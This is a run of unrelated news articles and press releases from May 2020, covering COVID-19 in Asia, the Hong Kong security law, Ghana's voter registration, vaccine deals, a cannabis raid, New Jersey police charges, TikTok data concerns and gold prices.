The official death toll is 7,183, the highest in Asia, and since the start of the epidemic there has been suspicion that the regime's figures are far too low.

A report by a parliamentary research centre suggested that the actual tally of infections and deaths in Iran might be almost twice that announced by the health ministry.

However, Iran has been easing lockdown measures in the hope of reviving an economy which was already battered by US sanctions.

Iran's regional rival Saudi Arabia has suffered 62,545 cases, the fifth-most in Asia, although authorities have only announced 339 deaths - a very low mortality rate of 0.5 per cent.

Saudi Arabia is also facing an economic crisis after oil prices collapsed because of the pandemic, at one stage falling into negative territory.

The kingdom has also lost revenue from the suspension of Muslim pilgrimages to the holy cities of Mecca and Medina, which were closed to visitors due to Covid-19.

The country's finance minister says it will need 'strict and painful measures' including sharp spending cuts to deal with the crisis.

SAUDI ARABIA: People pray during Ramadan while practising social distancing at the Grand Mosque in Mecca, which has been closed to pilgrims because of the coronavirus pandemic

IRAN: People wear masks on the Tehran metro on Wednesday, after Iran started to lift lockdown restrictions despite a continuing increase in infections - amid fears of a second wave

Elsewhere, Turkey is home to Asia's largest outbreak but yesterday saw the daily number of new cases drop below 1,000 for the first time in weeks.

President Recep Tayyip Erdogan began easing lockdown restrictions earlier this month, allowing inter-city travel in some provinces and easing a curfew on vulnerable people.

Health minister Fahrettin Koca said the country is ready to start accepting 'medical tourists' from 31 countries and said played down fears of a second wave of infections.

'If we continue to abide by the rules of social distancing, wearing a mask and a limited social life, then we dont see a risk of second wave,' Koca said yesterday.

'Like the rest of the world, we are also monitoring actively such a risk around September or October. But we are in a position to take necessary measures in the case of a second wave.'

Turkey has recorded 152,587 cases in total, but the government says that more than 110,000 of those have already recovered from the disease. The country has seen 4,222 deaths.

In south-east Asia, Indonesia has the region's highest death toll with 1,242 as the government struggles to increase its testing capacity.

Indonesia has so far conducted around 50 tests per 100,000 people, compared with 2,500 per 100,000 in neighbouring Singapore.

President Joko Widodo promised in April that 10,000 tests would be carried out per day, but the goal is yet to be reached, with testing rates hovering at less than half that figure.

On top of that, there are fears that millions of people will leave Jakarta at the end of Ramadan in the world's largest Muslim-majority country.

The government has banned people from travelling for the holiday, but some people have been allowed to go if they provide proof of reasons to travel and a health certificate.

Central Java Governor Ganjar Pranowo said this week he expected one million people to return to his province from greater Jakarta this year.

TURKEY: Municipal morgue workers in Istanbul wear protective suits and face mask as they pull the coffin of a coronavirus victim out of the building in Turkey's largest city yesterday

CHINA: A foreign journalist is tested by a medical worker wearing a blue protective suit and a face shield ahead of the Chines People's Political Consultative Conference in Beijing yesterday

By contrast, Vietnam has not yet reported a single coronavirus death and has limited total cases to just 324 after taking early action to close borders and quarantine thousands of people.

By mid-March, Vietnam made the wearing of masks in public places mandatory nationwide, well ahead of most other countries.

Kidong Park, the World Health Organisations representative in Vietnam, has said there is no indication of any outbreaks beyond what the government has reported.

China has reported only a trickle of new cases and deaths in recent weeks after sealing off Wuhan for more than two months, but has recently found a cluster of cases in two north-eastern provinces.

A medic on the National Health Commission has also voiced fears that the pathogen is changing after finding that patients in the provinces of Jilin and Heilongjiang were reacting differently to those in Wuhan.

Patients in the northeastern clusters were also carrying the virus for longer than earlier cases in Wuhan, and they were taking longer to recover, said critical care expert Qiu Haibo.

Patients in the northeast also rarely exhibited fever and tended to suffer damage to the lungs rather than across multiple organs, he said.

South Korea has been widely hailed as a model for its handling of the outbreak, although it recently saw a new cluster of cases linked to bars and nightclubs in Seoul.

Some nightclubs and bars in the capital have been ordered to close again, and authorities have also delayed the planned reopening of schools by a week.

The country has carried out more than 800,000 tests, which have shown 11,142 positive results - leading to 264 confirmed deaths.

Secretive North Korea claims it has no virus cases at all, but many experts and North Korean defectors regard this as implausible.
China's announcement it will bypass Hong Kong's legislature to impose draconian security laws on the city to quell "subversion" and "foreign interference" during the year-long protest movement sparked criticism and concern on from the U.S., U.K., and international rights organizations.



U.S. Secretary of State Mike Pompeo said the move would be a "death knell" for the city's promised autonomy.



"The United States condemns the Peoples Republic of China (PRC) National Peoples Congress proposal to unilaterally and arbitrarily impose national security legislation on Hong Kong," Pompeo said in a statement.



"The decision to bypass Hong Kongs well-established legislative processes and ignore the will of the people of Hong Kong would be a death knell for the high degree of autonomy Beijing promised for Hong Kong," he said, referring to the legally binding 1984 Sino-British Joint Declaration, which the Chinese Communist Party has said is no more than a "historical document."

These actions push Hong Kong's autonomy to the breaking point, violating the PRC government's obligations under the 1984 Sino-British Joint Declaration, an international treaty, said Rep. James McGovern and Sen. Marco Rubio, the chair and cochair of the U.S. Congressional-Executive Commission on China,

We call on the PRC government to reverse its outrageous and unacceptable action and uphold its international obligations to protect Hong Kong's autonomy and the rights and freedoms of Hong Kong people, they said in a statement.

The lawmakers called on the Trump administration to use the authorities under the Hong Kong Human Rights & Democracy Act  and lead a global coalition to protect both Americas interests and support Hong Kongers.

The U.S. is currently reviewing Hong Kong's special status as a separate economy and legal jurisdiction under the act. Pompeo said the imposition of national security laws could affect that assessment.



Amnesty International said the proposal was "dangerous."



"China routinely abuses its own national security framework as a pretext to target human rights activists and stamp out all forms of dissent," East and Southeast Asian deputy director Joshua Rosenzweig said in a statement.



"This dangerous proposed law sends the clearest message yet that it is eager to do the same in Hong Kong, and as soon as possible," he said.



"This attempt to bulldoze through repressive security regulations poses a quasi-existential threat to the rule of law in Hong Kong and is an ominous moment for human rights in the city," Rosenzweig said.



China-Hong Kong gap dissolves

He said the people of Hong Kong shouldn't have their rights and freedoms taken away in the name of national security concerns.



His comments were echoed by the Chinese Human Rights Defenders (CHRD) network, which said the imposition of the law would strip away any remaining civil liberties and fundamental freedoms of Hong Kong residents.



"It would erase any existing political separation between the semi-democratic territory and the one-party authoritarian mainland China," the group said.



It said national security legislation has been used to target peaceful dissidents, rights activists, human rights lawyers, journalists, writers, NGO workers, labor organizers, Tibetans, Uyghurs, "or practically anyone who criticizes government policies, the Chinese Communist Party or Xi Jinping and past leaders dictatorial rule."



People accused of "endangering national security" are routinely denied access to lawyers or a fair trial, while the definition of what constitutes such endangerment is arbitrarily decided by the authorities, it said.



For example, the authorities have prosecuted individuals for using overseas website servers or giving interviews to foreign media as "providing state secrets to foreign entities," it said.



"This [draconian legal regime] could strip Hong Kong residents of their rights to freedom of expression, assembly, and association, in violation of the citys mini constitution and international human rights law," the group said.



'One country, two systems' fatal to democracy

In Taiwan, presidential spokesman Alex Huang said the proposals clearly showed that a democracy would never survive an encounter with Chinese rule under "one country, two systems."



"We are closely following and highly concerned about this development, which poses a further threat to freedom and democracy for the people of Hong Kong," Huang said, calling on Beijing to answer growing calls for fully democratic elections in Hong Kong, if it really wished to end the protests.



Mainland Affairs Council (MAC) spokesman Chiu Chui-Cheng said laws should protect people rather than placing shackles on them.



"We believe that encroaching on Hong Kongs democratic institutions, human rights and freedoms will lead to a rise in public dissatisfaction and social instability, as well as making it riskier for people of all nationalities to be in Hong Kong," Chiu said.



"We hope that the relevant parties will think twice and not let Hong Kong fall into greater chaos because of poor decision-making," he said.



The ruling Democratic Progressive Party (DPP) said Hong Kong's autonomy was dead, while the opposition KMT said the move was in breach of the Sino-British Joint Declaration.



"Taiwan cares about the rights of the people of Hong Kong and their situation, regardless of partisan loyalty," the KMT statement said. "This deterioration in Hong Kong's situation will have a direct and negative impact on the future development of cross-strait relations."



The U.K., Canada and Australia said in a joint statement that they were "deeply concerned" by the proposal.



"Making such a law on Hong Kongs behalf without the direct participation of its people, legislature or judiciary would clearly undermine the principle of one country, two systems, under which Hong Kong is guaranteed a high degree of autonomy," the statement said.



It said Hong Kong should be allowed freedom "of the person, of the press, of assembly, of association and others," and that international human rights treaties should remain in force.



Reported by Chung Kuang-cheng for RFA's Cantonese Service, and by Jia Ao for the Mandarin Service. Translated and edited by Luisetta Mudie.
The Electoral Commission is expected to meet political Parties at the Inter-Party Advisory Committee (IPAC) level on the controversial new voter registration exercise.

The National Democratic Congress (NDC) together with other political parties and a cross-section of civil society still stand opposed to the compilation of an entirely new register for the December general elections.

A Senior Fellow at the Institute of Democratic Governance (IDEG), Professor Atsu Aryeh on Thursday questioned the Electoral Commission's seeming reluctance to yield to the opposition, arguing that the ills of the current register could be cured with a limited voter registration exercise.

The meeting which will be held next week Wednesday is expected to provide stakeholders with an opportunity for frank discussions on the issue.

The Electoral Commission had assured that it will consult stakeholders on its plans for the voter registration exercise.

Copies of the invitation letter available to Citi News show that the meeting will be held in 2 groups of 12 political parties each, with development partners, civil society groups and relevant state institutions in attendance.

The EC has published the precautionary measures it has put in place ahead of the registration exercise.

Among other things, it will be mandatory to wear face masks at the registration centres, people's temperature will be checked before one is allowed into the registration centre and there will be running water available for handwashing, according to an artwork posted on the Commission's social media pages.

Queues are to have one-metre gaps between persons lining up to register, the scanners will be sanitised and persons who complete the registration process will also be provided with hand sanitiser before they leave the centre.

---citinewsroom
Press Release

May 22, 2020 Villanueva credits DOLE emergency employment program in helping broader portion of displaced workers Fresh funding must be infused into emergency employment programs of the Department of Labor and Employment (DOLE) to stem the impact of mass layoffs, which have already begun in micro, small, and medium enterprises (MSME), according to Senator Joel Villanueva. Despite the initial hiccups in the implementation of the programs, DOLE has shown it can reach a large number of distressed workers in the formal, informal, and migrant economy, the lawmaker observed. "All the emergency employment programs of the labor department are able to serve a larger portion of our distressed workers. Funding of programs like CAMP and TUPAD should be continued especially since not all displaced workers are part of the essential sectors allowed to operate," said Villanueva, chair of the Senate Committee on Labor, Employment, and Human Resource Development. "We reiterate our call for our economic team to finance the programs of DOLE so it is able to reach workers in non-essential sectors. No worker should be left behind," he added. At Thursday's public hearing, Villanueva credited DOLE's emergency employment programs such as the COVID-19 Adjustment Measures Program (CAMP) for the formal workers, the Tulong Panghanapbuhay para sa Ating Distressed/Displaced Workers (TUPAD) for informal workers, and the Abot Kamay ang Pagtulong (AKAP) for overseas Filipino workers. Of the reported 2.6 million workers in the formal economy affected by either temporary closures of businesses due to COVID-19, CAMP has reached over 649,000 beneficiaries, according to Labor Secretary Silvestre Bello III. Beneficiaries who were not able to work or made to work under alternative work arrangements due to the quarantine received a one-time cash assistance of P5,000. "We also take note that CAMP covers a broader group of workers, and yet only 23 percent were served because of budget limitations," Villanueva said. For TUPAD, over 300,000 informal workers have been served, according to the President's 8th Bayanihan Report, while AKAP beneficiaries have reached over 100,000 OFWs. According to Bello, the labor department has received over 500,000 applications for AKAP, which gives OFWs a one-time cash assistance of US$200 or P10,000. Villanueva also cited the recognition of TUPAD as an efficient framework of distributing cash-for-work assistance as a justification for its continued funding. "DOLE's emergency employment programs should be continued because it will also serve as a transition for workers who are going back to their jobs and restarting their ability to earn a living," the lawmaker said.
An outback cannabis factory with a street value of around $425,000 has been shut down following a police raid.

Ten men aged between 23 and 62 were arrested during the massive sting at a Pilloni Road property in Yoogali, south-west New South Wales, on Thursday.

The hydroponic cannabis setup was found to be laid out across several rooms inside a shed.

An outback cannabis factory with a street value of around $425,000 has been shut down following a police raid

Ten men aged between 23 and 62 were arrested during the massive sting at a Pilloni Road property in Yoogali, south-west New South Wales, on Thursday

More than 41kg of cannabis leaf, 36 cannabis plants and five firearms were seized.

The arrested men have been charged with supply prohibited drug of commercial quantity, enhanced indoor cultivation plant for commercial purpose, possess prohibited drug, participate in criminal group and found on drug premises.

The 62-year-old was also charged with knowingly/recklessly direct criminal group assist crime and owner/occupier knowingly allow use as drug premises.

The group was refused bail and will appear at Wagga Wagga Local Court on Friday.

The hydroponic cannabis setup was found to be laid out across several rooms inside a shed
Bangkok, May 22 (IANS) Thailand on Friday extended the emergency rule against the COVID-19 pandemic until the end of June.

The Center for the COVID-19 Situation Administration (CCSA), headed by Prime Minister Prayut Chan-o-cha, resolved to extend the emergency rule until the end of June, confirmed Deputy Prime Minister Somkid Jatusripitak.

The emergency rule as well as curfew was earlier scheduled to last until the end of May, reports Xinhua news agency.

During Friday's CCSA meeting at Government House, Prayut raised concerns over health security measures for which the emergency rule extension, proposed by the National Security Council, was approved by the CCSA.

Nevertheless, the CCSA is yet to consider further easing up anti-pandemic measures, including the planned reduction in curfew hours to last between 12 a.m. and 4 a.m., compared to the currently-imposed curfew hours between 11 p.m. and 4 a.m. daily.

Thailand, which has confirmed 3,037 infections and 56 deaths so far, is currently in the second phase of ease in measures amid decreasing number of fresh cases.

--IANS

ksk/
Public health, national and economic security top agenda for two sessions

Global Times

By GT staff reporters Source:Global Times Published: 2020/5/22 1:08:40

Issues to be addressed as internal, external risks grow

China's top political advisory meeting opened its annual session on Thursday in Beijing, making arrangements for work in 2020 regarding six aspects and addressing the most pressing issues including public, national and economic security.

Meanwhile deputies and members to this year's two sessions are urged to adhere to the mind-set of the "bottom line" as internal and external risks continue to grow, posing unprecedented challenges for China in pursuing its social and economic development targets.

A total of 2,057 top political advisors attended the 3rd session of the 13th CPPCC National Committee that opened at the Great Hall of the People in downtown Beijing on Thursday afternoon, and the majority of them wore masks given the demand for continuous epidemic prevention and control work.

Before the session started, all the attendees paid a silent tribute to martyrs who died fighting COVID-19 and compatriots who lost their lives during the epidemic.

This year's two sessions started on Thursday after a 78-day delay due to COVID-19. Successfully holding the meetings also signaled the significant progress the country has made in fighting this arduous battle when most other countries and regions are still facing growing numbers of daily coronavirus infection cases.

Wang Yang, chairman of the CPPCC National Committee, delivered a work report of the Standing Committee of the CPPCC National Committee to the session, highlighting a series of tasks the country's top advisory body completed in 2019 and addressing the work for 2020 in six aspects while urging political advisors to fulfill their duties in achieving a moderately prosperous society in all respects.

There are some key words for this year's CPPCC session. Security, safety and recovery all top the agenda of Chinese policymakers and advisors. Some stressed that more work should be done in safeguarding public health, national security and security in the operation of the economy.

Public health

Participants to the country's most important political event during which the government subjects itself to public oversight and pools the wisdom of national legislators and political advisors who are ready to seize the opportunity to review and reflect on China's response to COVID-19 as of now, making proposals to improve the country's overall emergency warning and reporting system in order to better cope with a possible resurgence of coronavirus cases and future infectious diseases.

"I sincerely think the victory in combating the COVID-19 outbreak is a victory for Chinese culture," Wang Chen, academician and president of the Chinese Academy of Medical Sciences, was quoted as saying in media reports when he commented on the anti-epidemic battle at the first "CPPCC member interview" of the session.

"In Chinese culture, we truly respect people's health and lives, which is also deeply rooted in values that have been demonstrated during the whole battle," he said.

In reflecting on the shortcomings and loopholes within the country's public health system, especially regarding the top-down emergency response system, many NPC deputies and CPPCC National Committee members proposed to establish a mechanism for direct communication between the central and local governments over major public health emergencies and to improve the current infectious disease reporting system, as the heavily invested system, set up after the SARS outbreak in 2003, was widely believed to have failed to function properly during the early stages of the COVID-19 epidemic.

Some advisors also suggested that the National Health Commission come up with a detailed warning system regarding infectious diseases, especially unknown diseases, and classification standards of warnings on different levels, and then include them in China's infectious diseases prevention law.

NPC deputy Li Weimin, president of the West China Hospital of Sichuan University and one of the team leaders of local medical staff battling COVID-19, told the Global Times in a recent interview that his proposal to this year's two sessions will focus on the establishment of a direct and long-term reporting system for public health emergencies.

In China, medical institutions generally lack alertness to public health emergencies such as major infectious diseases. When clinical medical staff saw early clues of the epidemic emerging, they are not clear about the reporting process, and failed to use the direct reporting system to inform of a possible epidemic in the first place, he said.

He noted that the current direct reporting system still has the intermediate link of manual examination and approval after the medical institutions report information regarding infectious diseases, which will delay the reports.

"The system is capable of monitoring known diseases, but is not capable of providing an early warning for new and major infectious diseases unknown to us," he said.

National security

Safeguarding national interests and topics on Xinjiang, Taiwan, Hong Kong have also appeared in the working report China's top political advisor Wang Yang delivered at the opening ceremony. Wang urged all members to make efforts in playing their roles, including organizing consultative meetings centered on the unity and progress among all ethnic groups, supporting CPPCC members in the Hong Kong Special Administrative Region (HKSAR) in stopping violence.

Over the past year, CPPCC members also firmly safeguarded core national interests - releasing solemn statements condemning the US House and Senate passing bills related to China, including one on the HKSAR and one on Northwest China's Xinjiang Autonomous Region.

In 2020, the CPPCC should also conduct better united front work, creating conditions for people of all parties in China and nonparty personages to better play their roles, Wang noted.

According to an online poll made by people.cn before the two sessions, "national security" is one of the 10 topics that respondents care about the most. In response to how to strengthen people's national security consciousness, 23 percent of the online respondents agreed to "build national security consciousness via education" and 17 percent chose to "have more activities in enhancing conscientiousness and related practices."

"National security is considered a top priority to national interest. As traditional and non-traditional security threats have been interwoven together, the US is using the coronavirus to frequently challenge China's sovereignty and integrity in recent months," Li Wei, a counterterrorism expert at the China Institute of Contemporary International Relations, told the Global Times on Thursday.

Li noted that the US wants to maintain its hegemonic position in the world, and when faced with China's rise, it has played its cards on Taiwan, Xinjiang, Tibet and Hong Kong with the hope to disturb China's national development and to contain China.

A Tibet-related bill is also reportedly about to be passed by the US senate soon.

The Chinese central government is expected to take a decisive approach in ending riots and chaos in Hong Kong by revealing the implementation of the Hong Kong version of the National Security Law in the SAR, a move to safeguard the central government's sovereignty over the region and prevent the territory from falling into the hands of hostile forces at all costs, observers and delegators said.

"China will never make any compromises in regards to national security and its core interests," Li said, adding that every country should not miscalculate this.

Economic security

This year, as the Chinese economy is still grappling with what officials call "unprecedented" challenges from the global COVID-19 pandemic, lawmakers and policy advisors called for more efforts in helping the country's economic recovery, particularly in regaining consumption confidence which has suffered a real heavy blow amid the outbreak. It is crucial to whether the two goals - poverty alleviation and moderate prosperity - in achieving the great rejuvenation of the Chinese nation will be fulfilled this year.

Of the three major sectors - investment, consumption and foreign trade - the biggest impact from the COVID-19 epidemic would hit consumption, as many citizens still don't dare to go out nor consume while basic recovery regarding this would occur in October, Li Daokui, a prominent economist at Tsinghua University and a member of Standing Committee of the CPPCC National Committee, told the Global Times on Wednesday night.

However, there are several "bottom lines" that China has to adhere to. For example, in the face of a complicated external environment, the country has to pre-plan to ensure the security of economic operations. Whether it's about ensuring crude oil supply, soybean and grain supplies or fending off major risks regarding financial markets as well as protecting overseas listed companies from unilateral jurisdiction and sanctions imposed by countries like the US, Li said.

This year's "two sessions," postponed for more than two months, bears special meaning as the unprecedented coronavirus epidemic complicates the nation's efforts to eradicate absolute poverty and complete building a moderately prosperous society in all respects, according to the Xinhua News Agency.

As the tasks are considered daunting, the country needs to map out more flexible and feasible economic development targets with down-to-earth principles to counter internal and external uncertainties, with more flexible and proactive fiscal and monetary policies to be set while upholding the bottom line of employment.

"It's expected there will be a fiscal deficit of about 5 percent. Compared to the situation in 2008 [in the post-financial crisis], there's no need to unveil a massive stimulus plan in heavily invested infrastructure," Li said.

Meanwhile, the most significant pressure point for the country's job market comes from the 8 million fresh graduates, who may have certain impacts on social stability. However, issues still remain regarding livelihoods, which won't hit the fundamentals of the Chinese economy, Li the widely acclaimed economist noted.

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PR-Inside.com: 2020-05-22 08:02:05

Entries are now open for the Global Corporate Sustainability Awards (GCSA)

2020 GCSA: Creating a Sustainable World by Recognizing Those Who are Building It

Kayla Lee

GlobalPR agency

kayla@globalpr.agency

Companies worldwide with an outstanding commitment to sustainable development have the opportunity to earn the recognition and acclaim they deserve by entering the 2020 Global Corporate Sustainability Awards (GCSA).

2020 GCSA embraces the United Nations Sustainable Development Goals (SDGs) outlined in the UNs 2030 agenda. In previous years, the award winners included Hewlett Packard Enterprise (HPE) from the US, Siemens from Germany, ASUSTeK from Taiwan, GSB from Thailand, PT Vale Indonesia Tbk from Indonesia, and JANAJAL from India. The entries will be reviewed by a distinguished panel of international judges drawn from government, academia, and corporations.

Guided by the UNs sustainable development outline, GCSA has four key objectives:

Promoting corporate sustainability principles and SDG practices. Recognizing corporate efforts toward sustainable development. Honoring companies that provide complete disclosure of economic, environmental, social and governmental performance and clearly communicate sustainability performance and impacts through sustainability reporting. Encouraging individuals who contribute to positive impacts and accomplish outstanding successes in sustainability.

GCSA offers awards and recognition in three major categories: Outstanding Professional, Sustainability Reporting, and Best Practice.

GCSA-Outstanding Professional: Highlights exemplary individuals who have made outstanding contributions to sustainable development within their respective organizations. Individuals can be nominated for this award by government agencies, corporations, or academic organizations.

GCSA-Sustainability Reporting: Rewards those corporations that disclose information in their corporate social responsibility reports that is complete, reliable, and transparent.

GCSA-Best Practice: Recognizes outstanding performance in sustainable development business practices and projects.

Registration opens on 11th May 2020, and submission closes on 10th August 2020. The results will be announced, and the winners notified on 4th October 2020. The awards ceremony will be held on 18th November 2020 during the 3rd Global Corporate Sustainability Forum (GCSF) in Taipei, Taiwan.

For details about 2020 GCSA, please visit: https://bit.ly/2xM22i2

Brief introduction of the Taiwan Institute for Sustainable Energy (TAISE)

TAISE was initiated and funded by the advocates of sustainable energy in 2007, aiming to facilitate research into development of sustainable energy and to promote sustainable energy infrastructure. For more information about TAISE, please refer to https://www.taiseen.org.tw/.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200521005
(Photo : Image Courtesy of PixaBay)

The firm AstraZeneca has concluded deals for 400 million doses of their AZD1222 vaccine currently being developed within Oxford University with plans to release it in September this year. The company said that it is capable of producing over one billion doses of the AZD1222 vaccine for this year and the next.

Already, initial trials are underway and the firm has already recognized that the potential vaccine may not work. Still, the company said that it was committed to advancing the clinical program to the best of its abilities. Scientists have already warned that if ever there was to be a coronavirus vaccine, it wouldn't offer full immunity. In addition, UK Prime Minister Boris Johnson also warned that the vaccine might never be found.

Read More: Abbot's ID NOW Coronavirus Rapid Test Kit Shows Promising Results After Last Week's Scrutiny

COVID-19 Vaccine: AstraZeneca to supply 400M vaccines by September together with Oxford University

While global expectations for the arrival of the coronavirus vaccine are high, more realistic observers and historical vaccine data have shown that it may take at least a year or more. Heavy research to find the cure for the coronavirus is being performed by more than 80 groups worldwide. Hence, companies like AstraZeneca still have high hopes for the cure to come soon thanks to the most brilliant minds in the world pooling their resources together.

Read More: U.S. Top Choice for COVID-19 Vaccine May Not be True After All, Accuses Experts

AstraZeneca has said that the production would take place in not just one country, but several. The company thanked the US and UK governments for their "substantial support to accelerate the development and production of the vaccine." They are in talks with the Serum Institute of India and other potential partners to increase the rate of product distribution all around the world.

The company said that it had received financial support of more than $1 billion from the US Biomedical Advanced Research and Development Authority (BARD) for the development, production, and delivery of the said vaccine.

AstraZeneca's chief executive Pascal Soriot described the coronavirus as a "global tragedy" and "a challenge for all humanity."

He added, "We need to defeat the virus together or it will continue to inflict huge personal suffering and leave long-lasting economic and social scars in every country around the world, We are so proud to be collaborating with Oxford University to turn their ground-breaking work into a medicine that can be produced on a global scale."

For more news regarding potential vaccines, we have covered it here on Techtimes about one vaccine that has completed phase one of trials with 100% success, and the company Moderna is the one leading the charge in hopes of finally distributing it around the world later this year or early next year. For more information regarding the topic, click the link here.

Read More: Mental Health Awareness: Less Screen Time Equals More Free Time, Take Back Your Life a Minute at a Time

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Reliance Industries (RIL) share price rose over 1 percent in early trade on May 22 after the company announced selling of further stake in its digital arm Jio Platforms.

The global private equity firm KKR will invest Rs 11,367 crore into Jio Platforms, a digital arm of the Reliance Industries, said the company.

The transaction values Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore, as per company release.

This is KKRs largest investment in Asia and will translate into a 2.32% equity stake in Jio Platforms on a fully diluted basis.

Also Read - KKR-Jio Platforms deal: Here are the 5 key things to know

Over the last month, leading technology investors, such as, Facebook, Silver Lake, Vista, General Atlantic and KKR have announced aggregate investments of Rs 78,562 crore into Jio Platforms.

I am delighted to welcome KKR, one of the worlds most respected financial investors, as a valued partner in our onward march to growing and transforming the Indian digital ecosystem for the benefit of all Indians, said Mukesh Ambani, Chairman and Managing Director of Reliance Industries.

The transaction is subject to regulatory and other customary approvals.

At 09:18 hrs Reliance Industries was quoting at Rs 1,449.65, up Rs 9.60, or 0.67 percent on the BSE.

Read all KKR Jio deal stories here

: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd
The coronavirus pandemic is putting tens of millions of children's lives at risk by disrupting routine immunisation programmes, the World Health Organization and UNICEF said Friday. The United Nations agencies joined forces with Gavi, the Vaccine Alliance, to warn that the pandemic has severely disrupted vaccination programmes in dozens of countries, paving the way for a deadly resurgence of preventable diseases. "COVID-19 threatens to undermine life-saving immunisation services around the world," WHO director-general Tedros Adhanom Ghebreyesus told a virtual joint press conference. "This risks putting tens of millions of children -- in rich and poor countries -- at risk of killer diseases like diphtheria, measles and pneumonia." He said that while the world was seeking a safe and effective vaccine for the new coronavirus, vaccines that were already available to prevent other diseases still needed to be delivered. "Initial analysis suggests the provision of routine immunisation services is substantially hindered in at least 68 countries and is likely to affect approximately 80 million children under the age of one living in these countries," Tedros said. "Any suspension of childhood vaccination services is a major threat to life." Meanwhile experts said it was vital to maintain the structure of routine vaccination programmes in poorer countries, because those networks would be the same ones used to distribute an eventual COVID-19 vaccine. - Innovative solutions - UNICEF, the UN children's agency, said measles vaccination campaigns had been suspended in 27 countries and polio campaigns in 38 states. UNICEF executive director Henrietta Fore said countries have had to suspend campaigns due to the need to maintain physical distancing, while some health centres have been overwhelmed by coronavirus response efforts. Meanwhile health workers have been redeployed to treat COVID-19 patients, and some parents have been unable to get their children to vaccination sites due to movement restrictions. She said countries needed to step up efforts to track unvaccinated children, and find innovative solutions, as Laos has done by immunising children in supermarkets. Gavi chief Seth Berkley said countries had to do everything they could to keep vaccinating. "If we neglect the supply chains and immunisation infrastructure that keep these programmes running, we also risk harming our ability to roll our the COVID-19 vaccines that represent our best chance of defeating this pandemic, when they are ready," he said. He appealed for countries to dig deep at a June 4 global vaccine donors' summit, hosted in London. The novel coronavirus has killed at least 332,000 people since the outbreak first emerged in China last December, according to a tally from official sources compiled by AFP. At least 5.1 million cases have been registered in 196 countries and territories. "As the world passes five million recorded cases of COVID-19, we recognise the importance of building national unity and global solidarity to learn from each other and suppress the virus everywhere," Tedros said. The pandemic has severely disrupted vaccination programmes in dozens of countries, paving the way for a deadly resurgence of preventable diseases
Three Lawrence Township, N.J., police officers were charged Thursday with falsifying government records after an internal affairs investigation revealed that they lied about where they were, authorities said.

Officers Hector Nieves, 44, Liubove Bjorklund, 32, and Timothy Wallace, 28, were all suspended without pay, according to a release from the Mercer County Prosecutors Office.

Nieves and Bjorklund were also charged with violating Governor Phil Murphys Executive Order No. 118 which closed all state parks and forests and county parks during the coronavirus pandemic.

The executive order was rescinded earlier this month.

The prosecutors office was contacted by the police department after an investigation regarding allegations of deceptive conduct and falsification of records, the office said.

The investigation found Nieves falsely documented his location in computer aided dispatch (CAD) 19 times between March 21 and May 11, 2020, and that he violated the executive order by entering the New Jersey Delaware and Raritan Canal State Park in Princeton on April 23 for a purpose unrelated to any official function or capacity, prosecutors said.

He also altered the view of the camera in his police car on multiple occasions" so that it would not show him covertly meeting with an off-duty female police officer, the office alleged. In one incident, the cameras position was altered so that it would not record Nieves and the off-duty officer meeting or entering the closed park.

Bjorklund was charged with falsifying her location in meal break calls for service (CFS) documents 11 times between March 20 and May 4, authorities said.

She also allegedly violated the executive order by entering the New Jersey Delaware and Raritan Canal State Park on April 23, 2020, for a purpose unrelated to any official function or capacity, the office said.

It was unclear if Bjorklund was the off-duty female officer Nieves allegedly met with on April 23 as a prosecutors office spokeswoman could not immediately be reached to clarify the charges.

Wallace was charged with falsely logging his location in a CAD record on May 4.

The three officers were served with summons complaints on Thursday morning.

Nieves lawyer, Charles Sciarra, defended the officer and called the charges complete crap.

These charges are complete crap manufactured by a corrupt police department targeting whistleblowers who exposed their corrupt quota practices," Sciarra said in a statement. "The other two officers are collateral damage. Nieves is not guilty and will fight these charges.

Chris Sheldon may be reached at csheldon@njadvancemedia.com.

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Man charged with 125 wildlife crimes involving bald eagles, wolves, bear, deer: Michigan officials
In this Athens police blotter, a woman was arrested for shoplifting, a man was barred from McDonalds on Prince Avenue for disorderly conduct and former ambulance employees left the lights on in nine ambulances.
Reuters

Two leading Republicans in the US House of Representatives wrote a letter to the founder of the popular video-sharing app TikTok on Thursday, asking about potentially illegal use of data about children and ties to the Chinese government.

Representatives Greg Walden, the top Republican on the House Energy and Commerce Committee, and Cathy McMorris Rodgers, the ranking member of a consumer subcommittee, asked what information was collected about American users, what data is shared with the Chinese Communist Party or other state-owned entities and whether information on Americans is stored in China.

"TikToks seemingly close ties to the Chinese government raise serious concerns about your data practices, including what information your company collects on Americans and what you do with it," they wrote.

The letter was addressed to Zhang Yiming, founder and CEO of TikTok owner ByteDance.

"While we think the concerns are unfounded, we appreciate them and continue to further strengthen our safeguards while increasing our dialogue with lawmakers," a spokesperson for TikTok said in an email. "We've received the letter and will respond as we look forward to bringing greater clarity to our policies, practices, and operations."

Security concerns about TikTok are long-standing. In December, the US Navy banned the social media app from government-issued mobile devices, saying it was a "cybersecurity threat."

The lawmakers also asked TikTok to respond to questions regarding how children's data is treated and if illegally collected data was destroyed, as required under a agreement with the Federal Trade Commission.

The Center for Digital Democracy, Campaign for a Commercial-Free Childhood and other privacy advocates said on 14 May that TikTok had failed to take down all videos made by children under the age of 13, as it agreed to do under a consent agreement with the FTC announced in February 2019.
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(Kitco News) - Gold and silver prices are trading higher in early U.S. dealings Friday, on safe-haven buying after fresh developments in China have sapped investor and trader risk appetite heading into a long U.S. holiday weekend. June gold futures were last up $15.50 an ounce at $1,737.70. July Comex silver prices were last up $0.276 at $17.645 an ounce.

Global stock markets were also mostly lower in overnight trading. U.S. stock indexes are pointed toward lower openings when the New York day session begins. U.S.-China tensions remain high. A new geopolitical element thrown into the mix is Chinas threat to impose new national security laws in Hong Kong to thwart protesters there. Hong Kongs main stock index, the Hang Seng, saw its worst day in nearly five years Fridaydown over 5%.

China began its most important political event of the year late this week, the National Peoples Congress. At the meetings Friday, Chinese officials said they wont issue guidance on 2020 economic growth, acknowledging the severe economic damage inflicted on the worlds second-largest economy. Chinese authorities also implied that any more monetary policy stimulus may not be in the works, suggesting more pain for Chinese consumers. This news spooked the global marketplace and helped to sink stock markets and the crude oil markets overnight.

In other news, the Covid-19 pandemic is seeing an alarming rise of cases in some countries, while North America and Europe appear to be flattening the curve of the rate of infections.

